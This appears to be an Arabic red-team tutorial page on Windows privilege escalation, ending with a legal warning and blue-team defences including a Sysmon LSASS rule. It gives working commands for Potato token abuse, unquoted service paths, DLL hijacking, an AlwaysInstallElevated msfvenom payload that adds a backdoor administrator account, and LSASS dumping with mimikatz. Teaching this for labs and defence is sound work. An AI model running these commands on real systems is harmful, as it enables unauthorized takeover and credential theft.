الفرق الحمراء — الهجوممتقدم90mL74

تصعيد الصلاحيات على Windows

Token impersonation، service abuse، UAC bypass، DLL hijack، WinPEAS

#Windows#PrivEsc#Tokens#UAC#DLL Hijack#WinPEAS

من low-priv user إلى NT AUTHORITY\\SYSTEM

تشبيه — شرح مبسط
Windows مثل قلعة فيها مئات الأبواب الصغيرة، كل باب يفترض أن يكون مغلقاً ولكن أحدهم نسي قفلاً. تصعيد الصلاحيات في Windows = اكتشاف هذه الأبواب: خدمة بـ path ضعيف، DLL يبحث عنه برنامج في مكان يمكنك الكتابة فيه، token من عملية أخرى يمكنك سرقته.

SYSTEM في Windows أعلى من Administrator في حالات معينة (الوصول للذاكرة، LSASS، tokens). معظم تصعيد الصلاحيات على Windows يهدف إلى SYSTEM لأنه يفتح الباب لـ credential dumping و persistence حقيقي.

الاستطلاع الأولي

powershell
# هوية وامتيازات
whoami /all
whoami /priv      # الامتيازات الحالية — أهم سؤال

# معلومات النظام
systeminfo
$PSVersionTable

# الخدمات
Get-Service | Where-Object Status -eq 'Running'
Get-WmiObject Win32_Service | Select Name, PathName, StartName

# المهام المجدولة
Get-ScheduledTask | Where-Object State -eq 'Ready'

# Patches المثبّتة (لمقارنتها بـ Windows-Exploit-Suggester)
Get-HotFix | Sort InstalledOn -Descending | Select -First 20

أهم خمس قنوات تصعيد

01
Privilege abuse — SeImpersonate / SeAssignPrimaryToken
لو whoami /priv أظهر SeImpersonatePrivilege فأنت قريب جداً من SYSTEM. هذا ما يسمى Potato attacks (RoguePotato, JuicyPotato, GodPotato, SigmaPotato).
powershell
# على Windows Server 2019+:
.\GodPotato.exe -cmd "cmd /c whoami"
# => nt authority\system
02
Unquoted Service Path
خدمة عندها path مثل C:\\Program Files\\My App\\service.exe بدون quotes، ولديك write على C:\\Program Files\\My.exe؟ Windows سيحاول تنفيذه.
powershell
# ابحث عنها:
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v """
# لو وجدت، استبدل My.exe بـ payload و أعد تشغيل الخدمة
03
Service Binary / DLL Hijacking
لو الخدمة تعمل كـ SYSTEM وملفها قابل للكتابة من قبلك، استبدله. أو إذا كانت تستدعي DLL غير موجود في ترتيب البحث، ضع DLL خبيث.
powershell
# تحقق من ACL:
icacls "C:\Path\To\service.exe"
# ابحث عن BUILTIN\Users:F أو NT AUTHORITY\Authenticated Users:F
04
Always Install Elevated
مفتاح registry يفرض تشغيل MSI installers بصلاحيات SYSTEM، حتى لو شغّلهم مستخدم عادي.
powershell
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# لو الاثنين = 1:
msfvenom -p windows/x64/exec CMD='cmd /c net user pwn P@ssw0rd /add && net localgroup administrators pwn /add' -f msi -o evil.msi
msiexec /quiet /qn /i evil.msi
05
UAC Bypass
ليست تصعيداً تقنياً (admin → admin)، لكنها مفيدة لـ Medium Integrity → High. Examples: fodhelper.exe، eventvwr.exe، computerdefaults.exe.

WinPEAS — الأتمتة

$ iwr -Uri https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -O C:\temp\wp.exe
$ C:\temp\wp.exe -applicationsinfo -systeminfo -windowscreds
[+] SeImpersonatePrivilege — Enabled (Potato!) [!] Unquoted service: VulnSvc -> C:\Program Files\My App\service.exe [!] AlwaysInstallElevated = 1 (HKCU+HKLM)

Credential Dumping بعد SYSTEM

بمجرد الوصول إلى SYSTEM، LSASS يصبح الهدف. هذا يعطيك hashes و TGT و tokens لتحريك جانبي.

powershell
# تفريغ LSASS بدون أداة معروفة
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\temp\lsass.dmp full

# تحليل لاحق على آلتك
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords"
تحذير قانوني
سرقة tokens و LSASS من نظام لا تملكه = تجاوز 18 U.S.C. § 1030. كل ما هنا للمختبرات المعزولة أو engagements مع authorization مكتوب.
الدفاع — ما يجب أن يفعله Blue Team
  • راقب SeImpersonatePrivilege abuse: child process من IIS / SQL Server بصلاحية SYSTEM = مشبوه
  • Credential Guard لحماية LSASS (Windows 10+ Enterprise)
  • Disable AlwaysInstallElevated في كل GPO
  • راجع service paths شهرياً — لا unquoted
  • EDR تحدد signatures لأدوات Potato عائلة
  • راقب comsvcs.dll!MiniDump calls (Sysmon Event 10 على lsass)

Sysmon detection rules

xml
<Sysmon schemaversion="4.82">
  <EventFiltering>
    <RuleGroup name="LSASS Access" groupRelation="or">
      <ProcessAccess onmatch="include">
        <TargetImage condition="end with">lsass.exe</TargetImage>
        <GrantedAccess condition="is">0x1010</GrantedAccess>
      </ProcessAccess>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

مصادر

  • HackTricks — Windows Local Privilege Escalation
  • SpecterOps — Atomic Red Team T1134
  • MITRE ATT&CK — TA0004 Privilege Escalation
  • Microsoft Security Compliance Toolkit